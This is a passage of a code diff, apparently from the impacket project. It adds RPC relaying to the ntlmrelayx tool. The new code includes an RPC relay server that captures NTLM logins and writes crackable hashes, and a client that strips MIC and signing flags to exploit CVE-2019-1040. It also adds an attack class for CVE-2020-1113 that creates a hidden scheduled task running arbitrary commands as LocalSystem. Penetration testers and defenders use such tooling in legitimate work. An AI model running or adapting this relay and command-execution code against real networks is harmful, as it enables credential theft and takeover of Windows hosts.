+ response['type'] = MSRPC_FAULT
- return packet
+ response['call_id'] = packet['call_id']
+ response['flags'] = packet['flags']
+ return response
diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
new file mode 100644
index 00000000..ce6d1a1f
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
@@ -0,0 +1,95 @@
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# RPC Attack Class
+#
+# Authors:
+# Alberto Solino (@agsolino)
+# Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)
+#
+import cgi
+import random
+import string
+import time
+
+from impacket import LOG
+from impacket.dcerpc.v5 import tsch
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+
+PROTOCOL_ATTACK_CLASS = "RPCAttack"
+
+# Attack for CVE-2020-1113
+class RPCAttack(ProtocolAttack):
+ """
+ This is the RPC default attack class.
+ It will execute a command
+ """
+ PLUGIN_NAMES = ["RPC"]
+
+ def __init__(self, config, RPCClient, username):
+ """
+ :param config: NTLMRelayxConfig
+ :param RPCClient: DCERPC Transport
+ :param username: Username of the current session
+ """
+ ProtocolAttack.__init__(self, config, RPCClient, username)
+
+ def run(self):
+ try:
+ if self.config.command is not None:
+ LOG.info("Trying to execute specified command (%s)", self.config.command)
+
+ tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+ tmpFileName = tmpName + '.tmp'
+
+ xml = """<?xml version="1.0" encoding="UTF-16"?><Task version="1.2"
+ xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><Triggers><CalendarTrigger
+ ><StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary><Enabled>true</Enabled><ScheduleByDay
+ ><DaysInterval>1</DaysInterval></ScheduleByDay></CalendarTrigger></Triggers><Principals><Principal
+ id="LocalSystem"><UserId>S-1-5-18</UserId><RunLevel>HighestAvailable</RunLevel></Principal
+ ></Principals><Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy
+ ><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false
+ </StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><RunOnlyIfNetworkAvailable
+ >false</RunOnlyIfNetworkAvailable><IdleSettings><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle
+ >false</RestartOnIdle></IdleSettings><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true
+ </Enabled><Hidden>true</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun
+ ><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority></Settings><Actions
+ Context="LocalSystem"><Exec><Command>cmd.exe</Command><Arguments>/C %s &gt; %%windir%%\\Temp\\%s
+ 2&gt;&amp;1</Arguments></Exec></Actions></Task>""" % (cgi.escape(self.config.command), tmpFileName)
+ taskCreated = False
+ try:
+ LOG.info('Creating task \\%s' % tmpName)
+ self.client.set_call_id(2)
+ tsch.hSchRpcRegisterTask(self.client, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL,
+ tsch.TASK_LOGON_NONE)
+ taskCreated = True
+
+ LOG.info('Running task \\%s' % tmpName)
+ tsch.hSchRpcRun(self.client, '\\%s' % tmpName)
+
+ done = False
+ while not done:
+ LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
+ resp = tsch.hSchRpcGetLastRunInfo(self.client, '\\%s' % tmpName)
+ if resp['pLastRuntime']['wYear'] != 0:
+ done = True
+ else:
+ time.sleep(2)
+
+ LOG.info('Deleting task \\%s' % tmpName)
+ tsch.hSchRpcDelete(self.client, '\\%s' % tmpName)
+ taskCreated = False
+ except Exception as e:
+ LOG.error('Task creation or execution failed with error: %s' % e)
+ finally:
+ if taskCreated is True:
+ tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
+
+ else:
+ LOG.error("No default command configured, try with -c [command]")
+ except Exception as e:
+ LOG.error(str(e))
diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
new file mode 100644
index 00000000..fabe140c
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
@@ -0,0 +1,174 @@
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# RPC Protocol Client
+#
+# Author:
+# Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com)
+#
+# Description:
+# RPC client for relaying NTLMSSP authentication to RPC servers
+#
+
+from impacket.dcerpc.v5.transport import *
+from impacket.dcerpc.v5.rpcrt import *
+from impacket.dcerpc.v5 import tsch, epm
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS
+from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN,\
+ NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
+from impacket.spnego import SPNEGO_NegTokenResp
+
+PROTOCOL_CLIENT_CLASSES = ["RPCRelayClient"]
+
+
+class RPCRelayClientException(Exception):
+ pass
+
+
+class RPCRelayClient(ProtocolClient):
+ PLUGIN_NAME = "RPC"
+
+ def __init__(self, serverConfig, target, targetPort=135, extendedSecurity=True):
+ ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+ self.extendedSecurity = extendedSecurity
+ self.negotiateMessage = None
+ self.authenticateMessageBlob = None
+ self.dcerpc_transport = None
+ self.__callid = 1
+
+ def killConnection(self):
+ if self.session is not None:
+ self.session.socket.close()
+ self.session = None
+
+ def initConnection(self):
+ # FIRST DO A EPM PORTMAP
+ binding = epm.hept_map(self.targetHost, tsch.MSRPC_UUID_TSCHS, protocol='ncacn_ip_tcp')
+ if binding is not None:
+ dcerpc_transport_factory = DCERPCTransportFactory(binding)
+ self.dcerpc_transport = dcerpc_transport_factory.get_dce_rpc()
+ self.dcerpc_transport.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
+ self.dcerpc_transport.set_auth_type(RPC_C_AUTHN_WINNT)
+ self.dcerpc_transport.connect()
+
+ return True
+ return False
+
+ def sendNegotiate(self, negotiateMessage):
+ try:
+ negoMessage = NTLMAuthNegotiate()
+ negoMessage.fromString(negotiateMessage)
+ # When exploiting CVE-2019-1040, remove flags
+ if self.serverConfig.remove_mic:
+ if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+ negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+ if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+ negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+
+ self.negotiateMessage = negoMessage.getData()
+
+ response = self.do_send_negotiate(self.negotiateMessage)
+ challenge = NTLMAuthChallenge()
+ challenge.fromString(response['auth_data'])
+ return challenge
+ except Exception as e:
+ LOG.debug("Exception:", exc_info=True)
+ raise
+
+ def do_send_negotiate(self, negotiate):
+ bind = MSRPCBind()
+
+ item = CtxItem()
+ item['AbstractSyntax'] = tsch.MSRPC_UUID_TSCHS
+ item['TransferSyntax'] = uuidtup_to_bin(MSRPC_STANDARD_NDR_SYNTAX)
+ item['ContextID'] = self.dcerpc_transport._ctx
+ item['TransItems'] = 1
+ bind.addCtxItem(item)
+
+ packet = MSRPCHeader()
+ packet['type'] = MSRPC_BIND
+ packet['pduData'] = bind.getData()
+ packet['call_id'] = self.__callid
+
+ sec_trailer = SEC_TRAILER()
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
+ sec_trailer['auth_ctx_id'] = self.dcerpc_transport._ctx + 79231
+
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4
+ if pad != 0:
+ packet['pduData'] += b'\xFF' * pad
+ sec_trailer['auth_pad_len'] = pad
+
+ packet['sec_trailer'] = sec_trailer
+ packet['auth_data'] = negotiate
+
+ self.dcerpc_transport._transport.send(packet.get_packet())
+
+ s = self.dcerpc_transport._transport.recv()
+
+ if s != 0:
+ resp = MSRPCHeader(s)
+ else:
+ return 0 # mmm why not None?
+
+ if resp['type'] == MSRPC_BINDACK:
+ self.dcerpc_transport.set_call_id(resp['call_id'])
+ bindResp = MSRPCBindAck(resp['pduData'])
+ self.dcerpc_transport.set_max_tfrag(bindResp['max_tfrag'])
+ return resp
+ else:
+ raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+
+ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+ if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+ respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+ token = respToken2['ResponseToken']
+ else:
+ token = authenticateMessageBlob
+
+ authMessage = NTLMAuthChallengeResponse()
+ authMessage.fromString(token)
+ # When exploiting CVE-2019-1040, remove flags
+ if self.serverConfig.remove_mic:
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
+ if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
+ authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
+ authMessage['MIC'] = b''
+ authMessage['MICLen'] = 0
+ authMessage['Version'] = b''
+ authMessage['VersionLen'] = 0
+ token = authMessage.getData()
+
+ self.authenticateMessageBlob = token
+ self.do_send_auth(authMessage)
+ self.session = self.dcerpc_transport
+ return None, STATUS_SUCCESS
+
+ def do_send_auth(self, auth):
+ auth3 = MSRPCHeader()
+ auth3['type'] = MSRPC_AUTH3
+ # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
+ # ignored on receipt. The pad field MUST be immediately followed by a
+ # sec_trailer structure whose layout, location, and alignment are as
+ # specified in section 2.2.2.11
+ auth3['pduData'] = b' '
+ sec_trailer = SEC_TRAILER()
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
+ sec_trailer['auth_ctx_id'] = self.dcerpc_transport._ctx + 79231
+ auth3['sec_trailer'] = sec_trailer
+ auth3['auth_data'] = auth
+
+ # Use the same call_id
+ auth3['call_id'] = self.__callid
+ self.dcerpc_transport._transport.send(auth3.get_packet(), forceWriteAndx=1)
diff --git a/impacket/examples/ntlmrelayx/servers/__init__.py b/impacket/examples/ntlmrelayx/servers/__init__.py
index 21488772..db3092ef 100644
--- a/impacket/examples/ntlmrelayx/servers/__init__.py
+++ b/impacket/examples/ntlmrelayx/servers/__init__.py
@@ -1,2 +1,3 @@
from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
+from impacket.examples.ntlmrelayx.servers.rpcrelayserver import RPCRelayServer
diff --git a/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py b/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py
new file mode 100644
index 00000000..1e184512
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py
@@ -0,0 +1,381 @@
+#!/usr/bin/env python
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# RPC Relay Server inspired from DCERPCServer
+#
+# Authors:
+# Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com)
+#
+# Description:
+# This is the RPC server which relays the connections
+# to other protocols
+
+import socketserver
+import struct
+from impacket.dcerpc.v5.rpcrt import *
+from impacket.dcerpc.v5.dcomrt import *
+from impacket.ntlm import NTLMSSP_AUTH_NEGOTIATE, NTLMSSP_AUTH_CHALLENGE_RESPONSE, NTLMSSP_AUTH_CHALLENGE
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
+from impacket.nt_errors import ERROR_MESSAGES, STATUS_SUCCESS
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
+
+
+class RPCRelayServer(Thread):
+ class RPCSocketServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+ def __init__(self, server_address, RequestHandlerClass, config):
+ self.config = config
+ self.daemon_threads = True
+ if self.config.ipv6:
+ self.address_family = socket.AF_INET6
+ socketserver.TCPServer.allow_reuse_address = True
+ socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)
+
+ class RPCHandler(socketserver.BaseRequestHandler):
+ def __init__(self, request, client_address, server):
+ self.client = None
+ self.target = None
+ self.auth_user = None
+ self.transport = None
+ self.request_header = None
+ self.request_pdu_data = None
+ self.request_sec_trailer = None
+ self.challengeMessage = None
+ socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
+
+ def setup(self):
+ self.transport = DCERPCServer(self.request)
+ IObjectExporterCallBacks = {
+ 5: self.send_ServerAlive2Response,
+ }
+ self.transport.addCallbacks(bin_to_uuidtup(IID_IObjectExporter), "135", IObjectExporterCallBacks)
+
+ if self.server.config.target is None:
+ # Reflection mode, defaults to SMB at the target, for now
+ self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % clientAddress[0])
+ self.target = self.server.config.target.getTarget(self.server.config.randomtargets)
+ LOG.info("RPCD: Received connection from %s, attacking target %s://%s" % (
+ self.client_address[0], self.target.scheme, self.target.netloc))
+
+ def send_ServerAlive2Response(self, request):
+ response = ServerAlive2Response()
+
+ stringBindings = [(TOWERID_DOD_TCP, self.target.hostname)]
+ securityBindings = [(RPC_C_AUTHN_WINNT, "")]
+
+ array = b''
+ for wTowerId, aNetworkAddr in stringBindings:
+ array += wTowerId.to_bytes(1, byteorder='little') # formatting in a ushort is performed later
+ array += aNetworkAddr.encode('utf8') + b'\x00'
+ array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment
+ response['ppdsaOrBindings']['wSecurityOffset'] = len(array)
+ for wAuthnSvc, aPrincName in securityBindings:
+ array += wAuthnSvc.to_bytes(1, byteorder='little')
+ array += b'\xff' # This should be \xff\xff but as it's formatted on a ushort, it doesn't work |-(
+ array += aPrincName.encode('utf8') + b'\x00'
+ array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment
+ response['ppdsaOrBindings']['wNumEntries'] = len(array)
+ response['ppdsaOrBindings']['aStringArray'] = array
+
+ return response
+
+ def handle(self):
+ try:
+ while True:
+ data = self.transport.recv()
+ if data is None:
+ # No data: connection closed
+ LOG.debug('RPC: Connection closed by client')
+ return
+ response = self.handle_single_request(data)
+ # if not response:
+ # Nothing more to say, close connection
+ # return
+ if response:
+ LOG.debug('RPC: Sending packet of type %s' % msrpc_message_type[response['type']])
+ self.transport.send(response)
+ except KeyboardInterrupt:
+ raise
+ except ConnectionResetError:
+ LOG.error("Connection reset.")
+ except Exception as e:
+ LOG.debug("Exception:", exc_info=True)
+ LOG.error('Exception in RPC request handler: %s' % e)
+
+ def handle_single_request(self, data):
+ self.request_header = MSRPCHeader(data)
+ req_type = self.request_header['type']
+ LOG.debug('RPC: Received packet of type %s' % msrpc_message_type[req_type])
+ if req_type in (MSRPC_BIND, MSRPC_ALTERCTX):
+ self.request_pdu_data = MSRPCBind(self.request_header['pduData'])
+ elif req_type == MSRPC_AUTH3:
+ # We don't need the data and don't have AUTH3 Structure anyway
+ # self.requestPduData = MSRPCAUTH3(self.requestHeader['pduData'])
+ pass
+ elif req_type == MSRPC_REQUEST:
+ # This is a RPC request, we try to answer it the best we can.
+ return self.transport.processRequest(data)
+ else:
+ LOG.error('Packet type received not supported (yet): %a' % msrpc_message_type[req_type])
+ return self.send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE)
+
+ if self.request_header['auth_len'] <= 0:
+ if req_type == MSRPC_BIND:
+ # Let's answer to the bind anyway, maybe a second request with authentication comes later
+ LOG.debug('Answering to a BIND without authentication')
+ return self.transport.processRequest(data)
+ LOG.error('Packet is no BIND and does not contain authentication')
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH)
+
+ self.request_sec_trailer = SEC_TRAILER(self.request_header['sec_trailer'])
+
+ auth_type = self.request_sec_trailer['auth_type']
+ if auth_type == RPC_C_AUTHN_NONE:
+ # What should we do here :(
+ LOG.error('Packet contains "None" authentication')
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH)
+ elif auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:
+ if req_type == MSRPC_AUTH3:
+ raise Exception('AUTH3 packet contains "SPNEGO" authentication')
+ # Negotiate NTLM!
+ raise NotImplementedError('SPNEGO auth_type not implemented yet')
+ elif auth_type == RPC_C_AUTHN_WINNT or auth_type == RPC_C_AUTHN_DEFAULT:
+ # Great success!
+ if req_type not in (MSRPC_BIND, MSRPC_ALTERCTX, MSRPC_AUTH3):
+ raise Exception('Packet type received not supported (yet): %s' % msrpc_message_type[req_type])
+ return self.negotiate_ntlm_session()
+ elif auth_type == RPC_C_AUTHN_GSS_SCHANNEL or auth_type == RPC_C_AUTHN_GSS_KERBEROS or auth_type == RPC_C_AUTHN_NETLOGON:
+ # Try to ask for NTLM?
+ # Reply with rpc_s_unknown_authn_service?
+ # Try answering with other error codes?
+ raise NotImplementedError('Auth type %s not implemented yet' % auth_type)
+ else:
+ raise Exception('Auth type received not supported (yet): %d' % auth_type)
+
+ def negotiate_ntlm_session(self):
+ token = self.request_header['auth_data']
+ messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
+ if messageType == NTLMSSP_AUTH_NEGOTIATE:
+ negotiateMessage = ntlm.NTLMAuthNegotiate()
+ negotiateMessage.fromString(token)
+
+ try:
+ self.do_ntlm_negotiate(token) # Computes the challenge message
+ if not self.challengeMessage or self.challengeMessage is False:
+ raise Exception("Client send negotiated failed.")
+ return self.bind(self.challengeMessage)
+ except Exception as e:
+ # Connection failed
+ LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
+ self.target.scheme, self.target.netloc)
+ self.server.config.target.logTarget(self.target)
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)
+
+ elif messageType == NTLMSSP_AUTH_CHALLENGE:
+ raise Exception('Challenge Message raise, not implemented!')
+
+ elif messageType == NTLMSSP_AUTH_CHALLENGE_RESPONSE:
+ authenticateMessage = ntlm.NTLMAuthChallengeResponse()
+ authenticateMessage.fromString(token)
+
+ # Only skip to next if the login actually failed, not if it was just anonymous login
+ if authenticateMessage['user_name'] == b'':
+ # Anonymous login
+ LOG.error('Empty username ... just waiting')
+ return None
+ # LOG.error('Empty username ... answering with %s' % rpc_status_codes[MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED])
+ # return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)
+
+ try:
+ self.do_ntlm_auth(token, authenticateMessage)
+
+ # Relay worked, do whatever we want here...
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+ LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+ self.target.scheme, self.target.netloc,
+ authenticateMessage['domain_name'].decode('utf-16le'),
+ authenticateMessage['user_name'].decode('utf-16le')))
+ else:
+ LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
+ self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
+ authenticateMessage['user_name'].decode('ascii')))
+
+ # Log this target as processed for this client
+ self.server.config.target.logTarget(self.target, True, self.auth_user)
+
+ ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
+ authenticateMessage['user_name'],
+ authenticateMessage['domain_name'],
+ authenticateMessage['lanman'], authenticateMessage['ntlm'])
+ self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+ if self.server.config.outputFile is not None:
+ writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+ self.server.config.outputFile)
+
+ self.do_attack()
+ return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)
+ except Exception as e:
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+ LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+ self.target.scheme, self.target.netloc,
+ authenticateMessage['domain_name'].decode('utf-16le'),
+ authenticateMessage['user_name'].decode('utf-16le')))
+ else:
+ LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
+ self.target.scheme, self.target.netloc,
+ authenticateMessage['domain_name'].decode('ascii'),
+ authenticateMessage['user_name'].decode('ascii')))
+
+ self.server.config.target.logTarget(self.target)
+ raise
+ else:
+ raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+ def do_ntlm_negotiate(self, token):
+ if self.target.scheme.upper() in self.server.config.protocolClients:
+ self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,
+ self.target)
+ # If connection failed, return
+ if not self.client.initConnection():
+ raise Exception("Client connection failed.")
+ self.challengeMessage = self.client.sendNegotiate(token)
+
+ # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
+ if self.server.config.remove_target:
+ av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
+ del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
+ self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
+ self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
+ self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
+ else:
+ LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
+ raise Exception('Protocol Client for %s not found!' % self.target.scheme.upper())
+
+ def bind(self, challengeMessage=b''):
+ bindAck = MSRPCBindAck()
+
+ bindAck['max_tfrag'] = self.request_pdu_data['max_tfrag']
+ bindAck['max_rfrag'] = self.request_pdu_data['max_rfrag']
+ bindAck['assoc_group'] = 0x12345678 # whatever, but not 0!!!
+
+ if not self.request_pdu_data.getCtxItems():
+ # No CTX Items
+ raise Exception('Bind request with no CTX Item.')
+ for requestItem in self.request_pdu_data.getCtxItems():
+ syntax, version = bin_to_uuidtup(requestItem['TransferSyntax'])
+ item = CtxItemResult()
+ # Bind Time Feature Negotiation need to be answered properly |-(
+ if syntax.startswith(MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX) and version == "1.0":
+ item['Result'] = MSRPC_CONT_RESULT_NEGOTIATE_ACK
+ item['Reason'] = MSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK | MSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK
+ item['TransferSyntax'] = "\x00" * 20
+ else:
+ # Accept all other Context Items, because we want authentication!
+ item['Result'] = MSRPC_CONT_RESULT_ACCEPT
+ item['TransferSyntax'] = requestItem['TransferSyntax']
+ self.transport._boundUUID = requestItem['AbstractSyntax']
+ bindAck.addCtxItem(item)
+ # TODO: This is probably not generic enough :(
+ bindAck['SecondaryAddr'] = "135"
+
+ packet = MSRPCHeader()
+ if self.request_header['type'] == MSRPC_BIND:
+ packet['type'] = MSRPC_BINDACK
+ elif self.request_header['type'] == MSRPC_ALTERCTX:
+ packet['type'] = MSRPC_ALTERCTX_R
+ else:
+ raise Exception('Message type %d is not supported in bind' % self.request_header['type'])
+ packet['pduData'] = bindAck.getData()
+ packet['call_id'] = self.request_header['call_id']
+ packet['flags'] = self.request_header['flags']
+
+ if challengeMessage != b'':
+ secTrailer = SEC_TRAILER()
+ secTrailer['auth_type'] = ['auth_type']
+ # TODO: Downgrading auth_level?
+ secTrailer['auth_level'] = self.request_sec_trailer['auth_level']
+ # TODO: What is this number?
+ secTrailer['auth_ctx_id'] = self.request_sec_trailer['auth_ctx_id']
+
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4
+ if pad != 0:
+ packet['pduData'] += b'\xFF' * pad
+ secTrailer['auth_pad_len'] = pad
+
+ packet['sec_trailer'] = secTrailer
+ packet['auth_data'] = challengeMessage
+ packet['auth_len'] = len(challengeMessage)
+
+ return packet # .get_packet()
+
+ def send_error(self, status):
+ packet = MSRPCRespHeader(self.request_header.getData())
+ request_type = self.request_header['type']
+ if request_type == MSRPC_BIND:
+ packet['type'] = MSRPC_BINDNAK
+ else:
+ packet['type'] = MSRPC_FAULT
+ if status:
+ packet['pduData'] = pack('<L', status)
+ return packet
+
+ def do_ntlm_auth(self, token, authenticateMessage):
+ # For some attacks it is important to know the authenticated username, so we store it
+ if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+ self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+ authenticateMessage['user_name'].decode('utf-16le'))).upper()
+ else:
+ self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
+ authenticateMessage['user_name'].decode('ascii'))).upper()
+
+ clientResponse, errorCode = self.client.sendAuth(token, self.challengeMessage['challenge'])
+
+ # Raise exception on bad clientResponse?
+ if errorCode != STATUS_SUCCESS:
+ if errorCode in ERROR_MESSAGES.keys():
+ raise Exception("NTLM authentication failure, got errorCode %s: %s" % (errorCode, ERROR_MESSAGES[errorCode]))
+ else:
+ raise Exception("NTLM authentication failure, got unknown errorCode %s" % errorCode)
+
+
+ def do_attack(self):
+ # Check if SOCKS is enabled and if we support the target scheme
+ if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
+ # Pass all the data to the socksplugins proxy
+ activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
+ self.auth_user, self.client, self.client.sessionData))
+ return
+
+ # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
+ if self.target.scheme.upper() in self.server.config.attacks:
+ # We have an attack.. go for it
+ clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,
+ self.client.session,
+ self.auth_user)
+ clientThread.start()
+ else:
+ LOG.error('No attack configured for %s' % self.target.scheme.upper())
+
+ def __init__(self, config):
+ Thread.__init__(self)
+ self.daemon = True
+ self.config = config
+ self.server = None
+
+ def run(self):
+ LOG.info("Setting up RPC Server")
+
+ self.server = self.RPCSocketServer((self.config.interfaceIp, self.config.listeningPort), self.RPCHandler,
+ self.config)
+
+ try:
+ self.server.serve_forever()
+ except KeyboardInterrupt:
+ pass
+ LOG.info('Shutting down RPC Server')
+ self.server.server_close()
diff --git a/impacket/ntlm.py b/impacket/ntlm.py
index 76aba883..2cd5d760 100644
--- a/impacket/ntlm.py
+++ b/impacket/ntlm.py
@@ -186,6 +186,11 @@ NTLM_NEGOTIATE_OEM = 0x00000002
# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE.
NTLMSSP_NEGOTIATE_UNICODE = 0x00000001
+# NTLMSSP Message Types
+NTLMSSP_AUTH_NEGOTIATE = 0x01
+NTLMSSP_AUTH_CHALLENGE = 0x02
+NTLMSSP_AUTH_CHALLENGE_RESPONSE = 0x03
+
# AV_PAIR constants
NTLMSSP_AV_EOL = 0x00
NTLMSSP_AV_HOSTNAME = 0x01
@@ -260,7 +265,7 @@ class NTLMAuthMixin:
minor_v = struct.unpack('B',self['os_version'][1])[0]
build_v = struct.unpack('H',self['os_version'][2:4])
return mayor_v,minor_v,build_v
-
+
class NTLMAuthNegotiate(Structure, NTLMAuthMixin):
structure = (
diff --git a/tests/SMB_RPC/test_ldap.py b/tests/SMB_RPC/test_ldap.py
index 1f347871..d4ea6ccb 100644
--- a/tests/SMB_RPC/test_ldap.py
+++ b/tests/SMB_RPC/test_ldap.py
@@ -122,7 +122,7 @@ class TCPTransport(LDAPTests):
self.hashes = configFile.get('TCPTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.url = 'ldap://%s' % self.serverName
- self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] )
+ self.baseDN = 'dc=' + self.domain.replace('.', ', dc=')
class TCPTransportSSL(LDAPTests):
def setUp(self):
@@ -137,7 +137,7 @@ class TCPTransportSSL(LDAPTests):
self.hashes = configFile.get('TCPTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.url = 'ldaps://%s' % self.serverName
- self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] )
+ self.baseDN = 'dc=' + self.domain.replace('.', ', dc=')
# Process command-line arguments.
